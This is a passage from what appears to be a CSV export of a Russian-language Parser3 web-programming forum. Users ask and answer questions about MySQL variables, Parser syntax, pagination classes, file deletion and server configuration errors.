А насчет простановки совсем чужой куки со своего сервера именно в браузер я писал выше - нормальный браузер полылает такие куки куда подальше без попытки установить. Даже предупреждения не вылезает."
"13326","этот вопрос я уже поднимал на форуме раньше (см. тут http://www.parser.ru/forum/?id=9099)\
Ваш единогласный ответ был: \"НЕТ! ЧИТАЙ RTFM!\" (см. тут http://www.parser.ru/forum/?id=9117)\
\
этот же вопрос я обсуждал примерно тогда же на другом форуме и недавно нашёлся человек, который сказал, что такое возможно сделать на MySQL и послал меня в туже доку по MySQL.\
По его словам это делается примерно так:\
[code]\
SELECT x, @y:=x*5, @y/2-1 AS z\
FROM tab1\
[/code]\
вот пример из доки MySQL-я\
[code]\
SELECT @a:=SUM(total),@b=COUNT(*),@a/@b AS avg FROM test_table;\
SELECT @t1:=(@t2:=1)+@t3:=4,@t1,@t2,@t3;\
[/code]\
Человек, который показал мне эту фишку божится, что у него это работает. У меня почему-то работать не хочет (хотя в доке про это действительно прописано), пишет ERROR \"You have an error in your SQL syntax near '*5, , @y/2-1 AS z FROM tab1' at line 1\", когда пишешь перед или после \":=\" пробел.\
Если писать без пробелов делает пустой столбец c именем \"@yNULLx*5\"\
Почему нифига не работает (хотя по идее должно) не пойму. Таблица с таким именем есть, одно единственное поле \"x\" тоже есть - вариант упрощён донельзя. MySQL стоит под винды. Может кто подскажет в чём может быть проблема?"
"13327","Вопрос конечно не в тему про parser, но все же:\
хочу вот спросить всех людей, програмирующих для сети: на каком еще языке, кроме парсера, вы програмируете, и почему: просто пока еще зима, хотелось бы освоить еще один из более-менее подходящих языков.\
На всех форумах наперебой советуют перл, пхп, питон и си.\
\
Из всего посоветанного решил:\
Перл - вроде как круто, но дико медленно.\
Пхп даже до перла не дотягивает.\
Си - слишким сложно, и в большенстве случаев не нужно.\
А вот питон -это круто, мощно и быстро.\
Может что еще посоветуете?"
"13328","Уже на днях выходит второе издание книги Регулярные выражения Дж. Фридла\
http://shop.piter.com/book_about.phtml?id=978527200331&web_ok=yes"
"13330","Работает\
[code]\
^connect[$SQL.connect_string]{\
   $z[^table::sql{\
      SELECT id, @y:=id*5, @y/2-1 AS z FROM tbl\
   }]\
   ^z.menu{\
      $z.z<br />\
   }\
}\
[/code]\
выдает ожидаемое."
"13332","открой mysql.exe и попробуй пример из доки. будет работать.\
\
почему не работает из других клиентов? понятия не имею, если-бы я считал, что мне позарез это нужно - узнавал-бы. а так - не знаю, ибо не юзаю."
"13333","... я не пойму почему у меня без всякого Парсера, когда я просто в MySQLFront-е делаю конект к базе, выделяю базу, пишу руками запрос (запрос пишу без ошибок и опечаток!) и пытаюсь его выполнть, а MySQL отказывается его выполнять :( и посылает меня далеко-далеко.\
Или может быть это MySQLFront глючит (не понимает этого синтаксиса), может попробовать вызвать SQL-запрос сразу из Парсера. Сейчас попробую."
"13335","... но иногда глючит не по-детски\
\
За одно на эту фишку протестировал EMS MySQL Manager - вот этот молодец всё понимает!\
Всем спасибо за советы и содействие:)!\
"
"13336","@menu[]\
$sections[^table::load[/sections.cfg]] \
<tr bgcolor=\"#000000\">^sections.menu{^menu_cell[]}</tr>\
\
@submenu[]\
$subsections[^table::load[${sections.uri}sections.cfg]]\
<tr>^subsections.menu{^submenu_cell[]}</tr>\
\
вот именно переменную sections.uri из метода menu я и хочу использовать в методе submenu\
"
"13337","забыл пояснить\
\
у меня в каждом каталоге лежит файл sections.cfg, и мне надо, чтобы подменю было на странице рядом с меню."
"13338","Not Found\
The requested URL /home/www/servers/*******.ru/cgi-bin/parser3.cgi/index.html was not found on this server.\
\
Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request. \
\
\
--------------------------------------------------------------------------------\
\
Apache/1.3.14 Server at *****.ru Port 80"
"13339","я имел ввиду то, что мне нужно, чтобы можно было делать так, что переменная sections.uri принимает значение того каталога, в котором я сейчас.\
и я тут уже понял, что совершил ошибку.\
\
но, всё равно, как сделать  так, чтобы можно было получить не полный uri, в котором я сейчас($request:uri), а только самую верхнюю директорию(после корневой)\
\
то есть, вместо \
/pictures/moi_gorod/1973/1.jpg\
\
я мог получить просто\
/pictures/\
\
?"
"13340","Из-за того, что файла /home/www/servers/*******.ru/cgi-bin/parser3.cgi не существует, например."
"13341","топик"
"13342","качай отсюда http://www.design.brl.ru/masterroom/ мой готовый класс, делающий скролл + пример его использования и работай. Скоро постараюсь довести этот класс до совершенства и выложу ещё более крутую и навороченную версию №4(пока времени что-то не хватает довести этот класс до абсолюта, но и сейчас его возможностей более чем достаточно :)).\
А те кто пытаются наезжать на Мишу - делают это зря. Если бы Миша сразу выложил в примеры 1-ю версию моего класса, то этим убожеством уже сейчас некоторые бы пользовались. В примеры нужно выкладывать только код доведённый почти до абсолюта и соверенства. Миша не хочет зарубить чью-то работу, я, например, только блогодарен Мише за то, что он не ленился и пытался разобраться в моём коде, критиковал по делу и давал массу добрых и ценных советов!\
Сейчас я выложил на своём сайте 3-ю версию, но скоро будет 4-я (там добавятся навороты с передачей параметров да и пример вызова выложу скоро получше, чтобы было более понятно как циклом соответствующие скроллу сообщения (новости) выводить)."
"13343","Кто-нибудь может внятно изложить суть вопроса? Или указать ссылку в документации? Я не нашел: по запросу \"вложенные if\" и ему подобным...\
\
Парсер говорит \"нельзя три параметра\" на конструкции типа:\
\
^if($pages){\
	^pages.menu{\
	^if(def $pages.num){\
		|&nbsp;<a href=\"$pages.file\">$pages.num</a>\
		}{\
			|&nbsp;$pages.num\
		}\
		}\
	{ \
	   Список пуст. \
	} \
}\
\
\
Перепробовал уже все варианты, знаю, что if чувствителен к пробелам, где бы найти формальное изложение этих правил?\
\
Спасибо за помощь"
"13344","[code]^if($pages){\
	^pages.menu{\
		^if(def $pages.num){\
			|&nbsp;<a href=\"$pages.file\">$pages.num</a>\
		}{\
			|&nbsp;$pages.num\
		}\
	}\
}{\
	Список пуст. \
}\
[/code]"
"13347","Спасибо за помощь, однако ведь не будешь же каждый раз искать, что тут неверно написано? Искать надо не впотемках, так? Почему в этом случае &nbsp; вдруг потребовал ^;  ???\
Как это с точки зрения синтаксиса должно быть рассмотрено?\
\
Еще раз спасибо!"
"13348","Используется для разделения параметров. Если нужно получить символ \";\", то его надо экранировать - \"^;\".\
\
http://www.parser.ru/docs/lang/?stringlit.htm"
"13349","http://www.parser.ru/docs/lang/?opin.htm"
"13350","http://www.parser.ru/docs/lang/?definemethod.htm"
"13353","...вот такой, например, фрагмент, написанный в любой функции (методе):\
\
<p align=\"center\">&nbsp;&nbsp;<<&nbsp;&nbsp; &nbsp;&nbsp;<&nbsp;&nbsp; <a href=\"content.html\">Содержание</a> &nbsp;&nbsp;>&nbsp;&nbsp; &nbsp;&nbsp;>>&nbsp;&nbsp;<br>\
\
не приводит к столь фатальным ошибкам, как в предыдущем примере. Почему в if, который я использовал - иначе? Как Парсер разбирает синтаксис таких строк? \
"
"13354","Я хочу не ПРОВЕРИТЬ, нахожусь ли я в каком-либо каталоге. Это в документации написано.\
\
Я хочу получить тот каталог,  в котором я нахожусь."
"13355","^request:uri.match[^^/(\\w\\d+)/.+^$][]{/$match.1/}"
"13356","Фишка в том, что когда используешь спец сиволы просто в любой функции или методе то он ошибку непишет, а когда используешь операторы (например ^if) то внутри {} спецсиволы нада экронировать галочкой"
"13357","топик"
"13358","типа побежали покупат?:)"
"13359","типа побежали покупать?:)"
"13360","что в Паресере параметры методу можно передавать двояко:\
\
1. Писать все в одних и техже скобках через \";\" ^func[param1;param2;param3;param4]\
2. Писать в отдельных скобках ^func(param1){param2}[param3;param4] [разница в обработки кода в разных скобках :) описана в документации достаточно подробно].\
\
Так вот вызов ^if(...){...}{...} эквивалентен ^if(...){...;...}. Вот Парсер на ^if(...){...}{...;...} тебе ошибку и выдает - он считает, что ты ему лишний параметр подсовываешь.\
"
"13361","http://www.parser.ru/docs/lang/?params.htm\
\
Параметров может быть сколь угодно много или не быть совсем. Если в однотипных скобках несколько параметров, то они могут отделяться друг от друга точкой с запятой. Допустимы любые комбинации различных типов параметров. \
\
Например… \
[code]    ^if(условие){когда да;когда нет}[/code] \
…эквивалентно… \
[code]    ^if(условие){когда да}{когда нет}[/code] \
"
"13363","Просто той книги, что указана в документации больше в продаже нет ...\
"
"13364","большое СПАСИБО"
"13365","пишу :\
<a href=\"$label.model\">\
\
а в то время в индексе: \
$show[$request:query]\
^connect[$connect_string]{\
	$description[^table::sql{select\
		firm,model,\
				\
	other from tele\
	where\
		model='$show' ...и тд.\
\
Пи этом $label.model равно, например, 8310. Зараза в адресной строке шлёт ....a.ru/tele/?%208310\
как избавиться от %20 а?"
"13366","http://www.google.com/services/free.html\
With Google's Free WebSearch, you can co-brand search results with your colour scheme and logo.\
The optional Free SiteSearch enables you to restrict searches to the domain(s) you specify. "
"13367","Или при запросе использовать $ваша_переменная.int()"
"13368","Интересует больше ответ великого PAF %)\
\
Как вы думаете, какие основные сущности могут быть присуще для любых (большей части) сайтов. \
\
На мой взгляд нужны такие сущности:\
1) Основное меню(не древовидной формы!)\
2) Новости (с возможностью введения приоритетов)\
3) Гостевая (гостевую можно например использовать для обсуждения статей и т.п.)\
4) Форум \
5) Опрос \
6) Файлы (что то вроде таблицы с описанием файлов и возможностью закачки)\
"
"13369","сам я сайты давно не строил, \
и на вопрос ответят, если захотят, более продвинутые люди."
"13370","всё зависит от типа сайта, - корпоративный, блог, хоумпейдж, некоммерческая организация и прочее."
"13371","Я это понимаю. Доступ к cgi у меня есть, конечно. Но все же было бы приятнее не каждый раз в новом проекте прописывать cgi для Parser, а если бы он уже стоял на серваке. Некоторая проблема возникает при установке как cgi. На сайте провайдера не прописано, что у него за сервак. Перебирать все варианты - не луччший вариант. Когда я им звонил, они незаметно ушли от ответа на данный вопрос, сказали, что сначала проверят на сколько безопасен Parser. Как узнать, что за сервак стоит у провайдера?"
"13373","вот полезный линк на эту тему: \
\
http://www.artlebedev.ru/kovodstvo/paragraphs/99.html\
\
По-моему там все ясно описано."
"13375","Вопрос здесь, IMHO, не в отношениях Misha с Agatом. \
\
Еще раз возвращаюсь к вопросу о sources, примерах и CMS.\
Есть, как минимум, два похода к вопросу \"выкладывать - невыкладывать\".\
\
В \"Примеры\" нельзя размещать сырые коды, не пропахшие духом Parser'а. Потому что это - _ПРИМЕРЫ_ ! \
Будущие поколения парсеристов будут читать эти листинги \"на сон грядущий\" и строить свои шедевры по образу их и подобию. \
Тут Misha совершенно прав, когда говорит \"сырое я не выкладываю в примеры\". Давайте отдадим должное его принципиальности.\
\
Но, опять же IMHO, у многих есть потребность в чужой \"рыбе\" (заготовках, болванках). Зачем же каждый раз с нуля писАть свои велоCMSипеды?\
Если договориться о некоторых базовых правилах и ограничениях (например, документированность кода, учёт версий и т.п.), то вполне _можно_ и _нужно_ делиться своими богатствами. \
Тем более, что получится своего рода конкурс \"кто круче напишет\" (что уже сейчас видно по модулю scrolling).\
А уж отточенный код может перекочевать затем и \"Примеры\" в назидание потомкам. И это вполне в духе OpenSource (а, значит, и Parser'а)!\
\
#\
Может сделать всё же CVS-раздел на сайте для модулей ?\
(как грозился PAF когда-то, да не нашлось на земле русской двух(!) разработчиков CMS...)\
#\
\
#\
Кстати, нет ли у кого русского текста лицензии GNU GPL? Может, её тоже на сайт?\
#\
\
\
... совсем забросил старик ...\
"
"13376","А в электронном виде где-то в Сети есть эта книга (Регулярные выражения Дж. Фридла)?\
Или, мобыть, присоветуете что-то ещё толковое на эту тему?\
"
"13377","Про указанную Вами тему я, конечно, забыл! И это \"двуличие\" if сбило меня с толку. Всем спасибо за разъяснения!"
"13378","Дело осложняется ещё и тем обстоятельством, что \"парсер\" | \"parser\" - не имя собственное (для пацанов: \"кликуха\" :), это название класса программ, которые \"парсят\" данные ;-).\
Попробуйте, например, поиск в Yandex по слову \"парсер\" - прийдет немало страниц, к \"птичке\" отношения не имеющих.\
Поэтому, с одной стороны, выглядит логичным писать Parser (латиницей и с заглавной буквы). Склонять, правда, неудобно: Parser'у, Parserом...\
\
Но! Что-то я такое читал по поводу Интернет/интернет/Internet... Вроде пришли к выводу, что писать нужно \"интернет/интернету/об интернете\". Нет ли здесь аналогии?\
Есть тут филологи (ну, типа, хорошо языком владеют :)? Скажите веское слово.\
"
"13380"," - поздравляю - очень неплохо!\
\
Только слишком много параметров требует - упростить бы надо,а то пугает...:)\
\
И URI, IMHO лучше самому проверить, а не от юзера просить. Хотя - это уже его (юзера) проблемы, но все же - максимум usability не помешало бы.\
\
И еще - зачем там под определение каждой переменной свой метод? Не проще все переменные одним контекстом определить?"
"13381","Есть каталог /pics/,\
в нем один файл lastfile.gif.\
\
удаляем его:\
\
$f[/pics/lastfile.gif]\
^if(-f $f){\
   ^file:delete[$f]\
}\
\
файл удаляется.\
но какого извиняюсь удаляется сам каталог /pics/ ?\
кто может напишите ответ, и как от этого избавиться.\
"
"13382","//Только слишком много параметров требует - упростить бы надо,а то пугает...:)\
\
У супер-крутого объёкта с массой наворотов и возможностей не может быть мало параметров :) - иначе нечем будет рулить все эти навороты. Но в нормальном классе все параметры должны уметь корректно обрабатываться по умолчанию (когда этот параметр вообще неопределён или в него передан некорректный аргумент), т.е. можно просто сделать какой-то объект класса без задания 1001 возможного параметра (просто ^myclass::create[]) и получится нормально работающий объект класса, ну а если хочешь навернуть навороты, то разбирайся с параметрами (в моём классе можно параметры и не указывать вообще)! А если бы этих параметров вообще не было, то не с чем было бы и разбираться :)) (это что плюс??). Ну а если потребовался бы почти такой же объект, но с небольшими отличиями, что лучше писать новый класс или усложнить этот, добавив к нему несколько полезных и удобных фичь. (на мой взгляд вариант 2 лучше - я его и реализовал в своём классе). В 1-й версии моего класса был только один тип скроллирования, Мише он несовсем понравился (но это его субъективная точка зрения - он имеет не неё право как и любой из нас), и он подкинул мне идею другого типа скроллирования. Я решил реализовать сразу оба в одном классе - кому какой понадобится тот тем и будет пользоваться - нужно только нужный параметр передать.\
\
//И URI, IMHO лучше самому проверить, а не от юзера просить. Хотя - это уже его (юзера) проблемы, но все же - максимум usability не помешало бы.\
\
Про параметры согласен на 200%!!! Надо найти время чтобы доделать. :)\
Я хочу чтобы класс сам раздраконивал URI, если пользователь насильно параметр, отвечающий за это, не задаст, а если передаст, то \"это уже его (юзера) проблемы\" :).\
Тут я ещё думал такая фигня может быть: на странице может быть сразу несколько скроллов (один для новостей, другой ещё для чего-нибудь и т.д.), а параметр пока только один обрабатывается через волшебное слово \"page\" (?page=1) - это пока действительно плохо!\
\
И ещё одна фигня возникает связанная с индыксацией сайтов (сейчас про это более подробно вверху новую тему открою, см. выше)\
\
//И еще - зачем там под определение каждой переменной свой метод? Не проще все переменные одним контекстом определить?\
\
Это из области объёктно-ориентированного программирования!\
Возьми какой-нибудь язык, например, тот же VB (Visual Basic).\
Там можно заводить переменные Private и Public. К тем которые Public можно обращаться напрямую из любого другого модуля или класса включённого в проект (ты пердлагаешь этот вариант), НО ... по законам ООП это считается плохим стилем программирования! Нужно заводить переменные, в которых ты хочешь хранить параметры класса как Private!!! + Для каждой такой переменной надо завести свойства (Property) и в дальнейшем обращаться к переменным только через свойства!  Их может быть два PropertyGet (возращает значение из переменной класса наружу) и PropertyLet (или PropertySet) - для передачи параметра во внутрь объекта класса.\
Часто это выглядет как присваивание значения в переменную и считывания из переменной (и всё)! Но для чего вообще придумали эти Property? Ответ: чтобы при изменении какого-то параметра автоматически делать ещё какие-то действия и не писать этот код везде по 100 раз, а написать только в Property и пользоваться всю оставшюся жизнь. Если нужно будет поправить, то поправить всего лишь в одном Property!!!"
"13383","[quote]\
\
^file:delete[путь]   \
\
Удаляет указанный файл.\
Путь - путь к файлу\
\
Если после удаления в каталоге больше ничего не осталось, каталог тоже удаляется(если это возможно).\
\
[/quote]\
\
\
Избавится элементарно: поместить в папку файл, который никода не будешь удалять. [например null.txt]"
"13384","Друзья! Пишу очередную версию класса предназначенного для скроллирования страничек сайтов, но наткнулся на одно противоречие - хочу услышать, что думают разные люди по этому поводу, чтобы сделать действительно супер-хорошо.\
\
Проблема такая:\
Допустим есть на сайте новостная лента (выводится по N новостей на страницу). Обычно на скролле свежим новостям соответствует 1-я ссылка скролла (например, как на этом форуме).\
А теперь представьте, \"паук\" начинает индыксировать Ваш сайт (проводит полнотекстовую индыксацию). \"Паук\" проиндыксировал, поисковик нормально ищет, всё вроде бы хорошо, но...\
Вы добавили ещё N новостей и чего? :)\
ищете слово которое в базе поисковика вроде как должно быть на странице my_news.html?page=1, а на самом деле там этого слова НЕТ (оно на будет на странице my_news.html?page=2)\
\
Мой вариант решения проблемы: свежие условно \"новости\" должны быть не на 1-й странице, а на последней, но опять возникает НО!!! как быть с нашими устоями и человеческой психологией (на 99,9% сайтов \"свежак\" находится на 1-й странице скролла, а не на последней)\
\
Чего скажите по этому поводу?????"
"13385","Мое предыдущее сообщение я написал, не сильно вникая в код класса. Сейчас, вот, сел, перечел. Действительно - все там путем. Поздравляю еще раз.\
\
Насчет URI : я, в своем классе делаю это так : \
\
1. Пользователь может определить, через какое form-поле будет передаваться значение страницы скроллера. Таким образом вопрос об использовании нескольких скроллеров на одной странице отпадает - задал разные поля, и все путем.\
\
2. Как пример к разбору пользовательского URI можно сделать так :\
[code]\
# в качестве первого параметра передаем хеш, структура которого идентична $form:fields;\
#второй параметр - это и есть то волшебное поле, через которое передаем значение скроллера (у тебя это page)\
@разобратьURI[params;path_param]\
^if(def $params.request && $params.request is hash){\
	$result[?^params.request.foreach[field;value]{^if($field ne $path_param){$field=$value&amp^;}}$path_param=]\
}{\
	$result[?^form:fields.foreach[field;value]{^if($field ne $path_param){$field=$value&amp^;}}$path_param=]\
}\
[/code]\
На выходе получим готовый URI, который можно подставить в href=\"^разобратьURI[$form:fields;myfield]$yourScrollerPageValue\"...\
\
Не знаю, смог ли донести суть...:)\
\
А про Private, Public и Property - круто! Никто еще мне этого так не расписывал...:) Действительно - дело, но я об этом как-то не задумывался (хотя давно пора). Нужно будет книжек почитать.\
"
"13386","Посмотри, как сделано на этом сайте.\
\
Свежие новости выкладывай в конец таблицы и разбирай таблицу в обратном порядке - и все будет путем - на первой странице - \"первые\" новости, на последней - \"свежак\"..:)"
"13387","Когда ты попробуешь что-то положить в этот каталог когда его нет (средствапи Парсера, разумеется), он создатся и туда всё запишится.\
\
Не думай об этом. Считай, что он всё время существует.\
\
P.S.: Хуже, если ты туда обращаешься не только средствами Парсера."
"13388","Что-то я забыл, что \"настоящие герои всегда идут в обход\" :) идея ясна - дальше относительно просто!\
Чего-то я упёрся ... и даже не подумал, что всё может быть решено так до безобразия просто :) Спасибо за дельный совет!\
"
"13389","... но мою работу больше тормозил вопрос связанный с индыксацией, теперь ты меня носом в хорошую идею ткнул, надеюсь в ближайшем будущем доведу класс до ума :)"
"13390","Вот смотри есть допустим 40 новостей и выводится на страницу по 10 (для простоты счёта), т.е. скрол состоит из 4-х ссылок:\
1-я сслылка (?page=4) \
  новости: 40-31\
2-я сслылка (?page=3) \
  новости: 30-21\
3-я сслылка (?page=2) \
  новости: 20-11\
4-я сслылка (?page=1) \
  новости: 10-1\
\
Добавляем 41-ю новость, и что получается: 5 ссылок (на 41 новость)\
\
1-я сслылка (?page=5) \
  новости: 41-32\
2-я сслылка (?page=4) \
  новости: 31-22\
3-я сслылка (?page=3) \
  новости: 21-12\
4-я сслылка (?page=2) \
  новости: 11-2\
5-я сслылка (?page=1) \
  новости: 1\
\
И чего получилось??? Да ничего!!!!! новость №40 была на ?page=4 а стала на ?page=5\
\
Что-то я не вижу решения! :( "
"13391","т.е. 1-ая ссылка указывает на [b]1-ую[/b] страницу с новостями, 2-ая - на [b]2-ую[/b],..., последняя ссылка на \"свежак\"...\
\
Короче - скроллер рисуй с конца..."
"13394","Тогда на /?page=$last у тебя вначале появится одна ссылка, а все остальные от 1 до last будут нормально наполнены и без изменения.\
\
Когда последняя страница заполнится, то у тебя $last измениться, и если робот проиндексировал ее, когда она еще была не полной - он придет и исправится следующий раз, ничего страшного.\
\
Еще не забудь о том, что у каждого посетителя могут быть свои настройки кол-ва сообщений на страницу, и если ты эту настройку хранишь в базе/куке, то засовывай ее в ссылку смотрящему, если у него она отличается от default... Иначе возможна ситуация, когда я тебе посылаю сслыку, говорю что там есть то-то, а ты по ней не видишь, что там есть это..."
"13395","...если ты знаешь решение - подскажи человеку! Как ты сделал на сайте? \
\
На форуме ссылки идут в обратном порядке, а текст ссылок - в правильном. И лишних ссылок на \"свежаке\" нет - все путем. \
\
Ведь человек нужную вещь разрабатывает - грех не помочь..:)"
"13396","свои идеи я ему сказал в другом треде."
"13397","если \"робот\" придёт и проиндыксирует всё заново, то зачем \"переворачивать-инвертировать\" номера ссылок и их подписи :( - это только лишние заморочки \
\
а \"свежак\" по любому будет либо сам уползать, либо кого-то сдвигать!\
\
может мне не лезть в эти тонкости или всё же можно что-то придумать, а то я смотрю что вопросов получается больше чем ответов, а решения что-то пока на ум не приходит. Да и вы с Agat-ом меня ещё больше озадачили :)"
"13398","В чем разница между тем примером, который я привёл с новостями и этим форумом - никакой!!!!!!!!\
Там новости - здесь корневые сообщения - вот и вся разница!!!"
"13399","у меня есть запрос\
[code]\
^void:sql{delete from session where User='guest'}\
[/code]\
Сам запрос выполняется, т.е. в БД запись исчезает, но выдаётся ошибка:\
\
Unhandled Exception (Debug)\
<no comment>\
delete from session where User='guest'\
\
exception.type=sql.execute \
\
Что это такое и как с этим бороться?"
"13400","1. какая база?\
2. с другими таблицами такое происходит?\
3. а если соединиться другим клиентом[не parser'ом]?"
"13401","к тому-же можно легко и непринужденно публиковать ссылку на любый другие страницы.\
\
последнюю можно заключить в <noindex> и не пускать туда тот-же яндекс.\
\
на этом сайте не так, но тут есть дополнительная сложность, о которой ты еще не думал наверное - удаленные сообщения :(\
\
я долго с ними трахался, ведь нужно, чтобы \"администраторы\" и просто пользователи имели одинаковое содержание не удаленных сообщений на страничке, т.е. разбивать по просто количеству корневых сообщений низя."
"13402","Есть и такие хостеры, у кого парсер уже стоит.\
\
Чтобы узнать версию ОС надо набрать в шелле uname -a"
"13403","Если проделать запрос руками (скопировать и вставить в консоль), то всё работает.\
\
Проблема в том, что запрос выполняется. Изменения в таблице происходят, но только после этого он падает. Еслибы была ошибка, я бы её исправил, но что исправлять тут?"
"13404","что-то я не совсем понял что имеется в виду (наверное я об этом действительно пока не думал или просто сейчас не понял о чём идёт речь):\
//нужно, чтобы \"администраторы\" и просто пользователи имели одинаковое содержание не удаленных сообщений на страничке, т.е. разбивать по просто количеству корневых сообщений низя.\
\
Может разъяснишь по-подробнее???\
\
Так что, ты считаешь, что обратный порядок номеров ссылок лучше чем прямой? скорее всего я с тобой соглашусь по этому вопросу, т.к. этот вариант меня сразу чем-то подкупил :), но всё равно мне это надо ещё разок самому всё это обмозговать."
"13405","Доброго времени суток!\
Надеюсь, что мой вопрос не сочтут за офф-топик.\
Итак:\
1. Есть программа оперучета (писанная по дос и пользующая dbf файлы)\
2. Структура одного из них: \
[code]\
 -----------------------------------------------------------------\
|item_id|parent_id|is_group|title|price1|price2|price3|....price36|\
 -----------------------------------------------------------------\
[/code]\
3.Кол-во записей ~7000\
4. Исторически такая структура сложилась и в ближайшем будущем ее переписывать никто не собирается\
5. Есть задача - выкладывать данные из этого файлика в виде прайса на страницу\
6. Структура, которую пользую я (предвидя вопрос а на кой переделывать стр-ру - мне так удобней с ней работать в дальнейшем - отдавать пользователю доступные только ему цены; да и место она как бы меньше занимает):\
\
6.1. Таблица ТОВАРЫ\
[code]\
 --------------------------------\
|item_id|parent_id|is_group|title|\
 --------------------------------\
[/code]\
6.2. Связка ТОВАРЫ-ЦЕНЫ\
[code]\
 -------------------------\
|id|item_id|price_id|price|\
 -------------------------\
[/code]\
\
6.3. Таблица ЦЕНЫ\
[code]\
 --------------------\
|price_id|price_name|\
 --------------------\
[/code]\
\
7. Еженощно таблица из п.2 растраивается и принимает вид из п6.\
\
8. На локале (Celeron-1000/256/7200 IDE) у меня это занимает ~7 минут, причем проблема (длительная обработка) вся в код, обрабатывающем операции над таблицами, а естественно не в \"закачке\" данных в БД\
\
9. Код:\
[code]\
1 @load_data_from_file[file_to_load]\
2   ^if(-f $file_to_load){\
3      $tbl_file[^table::load[$file_to_load]]\
4\
5      ^tbl_file.menu{\
6\
7########Для совместимости наименований в dbf и MySQL\
8        $id[$tbl_file.id]\
9        $p_id[$tbl_file.id]\
10       $isgroupt[$tbl_file.isgroup]\
11       $title[$tbl_file.name]\
12       $tab_line[$tbl_file.fields]\
13\
14#########Перепахиваем outcost_0....outcost_35 и добавляем их в БД\
15       ^for[i](0;35){\
16	   ^if($tab_line.outcost$i){^void:sql{INSERT INTO items_prices(it_id, p_id, price) VALUES(^id.int(0), $i, $tab_line.outcost$i)}}\
17 	 }\
18     }\
19 }{\
20    File not found\
21 }\
22#end\
[/code]\
10. Вспомнив, что [code]LOAD DATA ......[/code] занимает гораздо меньше времени, чем [code]INSERT[/code], т.к. индексы генеряться в конце добавления я попробовал кидать все в промежуточную таблицу, чем намертво положил свой комп.....\
\
11. Очень хочется услышать совета по обработке таблицы"
"13406","Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@*****.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception\
"
"13407","Получиться значительно быстрее..."
"13408","Дык вы сударь и посмотрите в error_log вашего сервера - там можно много чего найти"
"13409","Это очень сложная процедура.\
Я подумаю над рашением.\
Здесь можно воспользоваться такой весщью как DATETIME.\
Усикаете?"
"13410","[error] [client 217.106.141.254] (13)Permission denied: mod_mime_magic: can't read `/home/www/servers/npopioner.ru/cgi-bin/parser3.cgi'\
[Thu Feb 20 11:40:46 2003]"
"13411","...:)\
Тут обсуждается вопрос решения задачи пользовательского класса скроллера. Скроллер универсален и должен работать с любым списком (таблицой). И Datetime здесь ну никак не применимо. Сечешь?"
"13412","как будут упорядочиваться новости пофигу по DATETIME или ещё почему - какая разница?\
есть одна страница, например, news.html\
мы в неё должны параметр передать, который скажет скрипту (News.html) какую \"пачку\" новостей брать из базы и выводить на экран. этот параметр мы заряжаем в скрипт через ?page=Numer\
как тут дату со временем прикрутить даже не знаю :)\
"
"13413","1. База - MySQL.\
2. С другими тоже. Странно то, что он не хочет удалять и добавлять записи (т.е. он это делает, но после генерирует исключение)\
3. С консоли всё работает.\
 "
"13414","если есть возможность, обновите его."
"13415","А чуть подробнее?\
\
В смысле - создавать на локале, а заливать уже готовый скрипт и там на него натравливать MySQL????\
\
Или прям на сервере генерить скрипт? Так код:\
[code]\
15       ^for[i](0;35){\
16         ^if($tab_line.outcost$i){}\
17       }\
[/code]\
\
Выполняется для 7000*35=245000 примерно 4 минуты\
\
код:\
[code]\
15       ^for[i](0;35){\
16         ^if($tab_line.outcost$i){^void:sql{INSERT INTO items_prices(it_id, p_id, price) VALUES(^id.int(0), $i, $tab_line.outcost$i)}}\
17       }\
[/code]\
Выполняется для того же количества записей примерно 4,5 минуты\
\
Соответственно, как я понимаю, узкое место не в наличии или отсутствии [code]insert[/code]'а, а в обработке:\
[code]\
5      ^tbl_file.menu{\
15       ^for[i](0;35){\
17       }\
18     }\
[/code]\
\
или я не прав?"
"13416","такой файл можно сделать… в MSExcel/MSAccess.\
создаёте ODBC Datasource, открываете таблицу, нажимаете Save as...\
\
это автоматизируется на basic за пять минут."
"13417","Так оно и есть. У меня mysql  Ver 11.15 Distrib 3.23.38, а там, где я всё это дело собирал mysql  Ver 9.38 Distrib 3.22.32.\
Мораль: когда работаете на незнакомом сервере проверяйте версию MySQL.\
\
P.S.: Спасибо PAF'у. Очень выручил."
"13418","то, что админы видят удаленные сообщения и эти удаленные сообщения могут быть в корне? или то, что из-за этих корневых сообщений видимых только админам получается, что в итоге у них больше сообщений (т.е. страниц) и надо как-то корячиться и делать, чтобы границы страниц у админа и пользователя совпадала?\
\
"
"13419","Я конечно может быть не очень внятно (или совсем не внятно) объяснил суть проблемы - мне надо поменять [b]структуру[/b] таблицы. Пересохранить dbf в txt и сделать [code]LOAD DATA[/code] я могу без проблем, а вот сделать из таблицы вида:\
[code]\
 -----------------------------------------|item_id|price1|price2|price3|....price36|\
 -----------------------------------------\
[/code]\
\
таблицу вида\
[code]\
-------------------------\
|id|item_id|price_id|price|\
 -------------------------\
[/code]\
просто [quote]открываете таблицу, нажимаете Save as...[/quote] мне видится довольно туманно. \
\
Я вовсе не хочу услышать метод, сделать кат&&пейст. Просто хочется увидеть методологию преобразования таблицы, мне кроме простого перебора пока-что на ум ничего не пришло. Хотелось бы услышать Ваши мнения.\
"
"13421","Сегодня зашел в download - а там parser3_3_0007_sp1\
Причем только для freeBSD\
Пролистал форум на десяток страниц, но так и не нашел, что же такого в этом самом sp обновлено!"
"13422","То, что это пробел я понял сразу. Вопрос откуда он? я нигде лишних не ставил.\
А с .int() ошибка:\
--\
Unhandled Exception (Debug)\
z:/home/sim-karta.ru/www/tele/auto.p(17:28): parse error\
exception.type=parser.compile\
--\
как блин получить то, что надо? без пробелов."
"13423","Проблема с версией 3.0007 сборка под RedHat (скачана сегодня с сайта, CGI с поддержкой xml).\
\
Есть код (тестовый пример)\
@main[]\
# грузим документ с 56 элементами item\
$test[^xdoc::load[/путь/к/файлу.xml]]\
$page[^test.selectSingle[/root/item[position() = 1]]]\
$test2[^test.createCDATASection[<h1>TEST</h1>]]\
$void[^page.appendChild[$test2]]\
$xslt[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:template match=\"/\">\
	<xsl:value-of select=\"count(//item)\"/>\
	<xsl:copy-of select=\"//item/text()\"/>\
</xsl:template>\
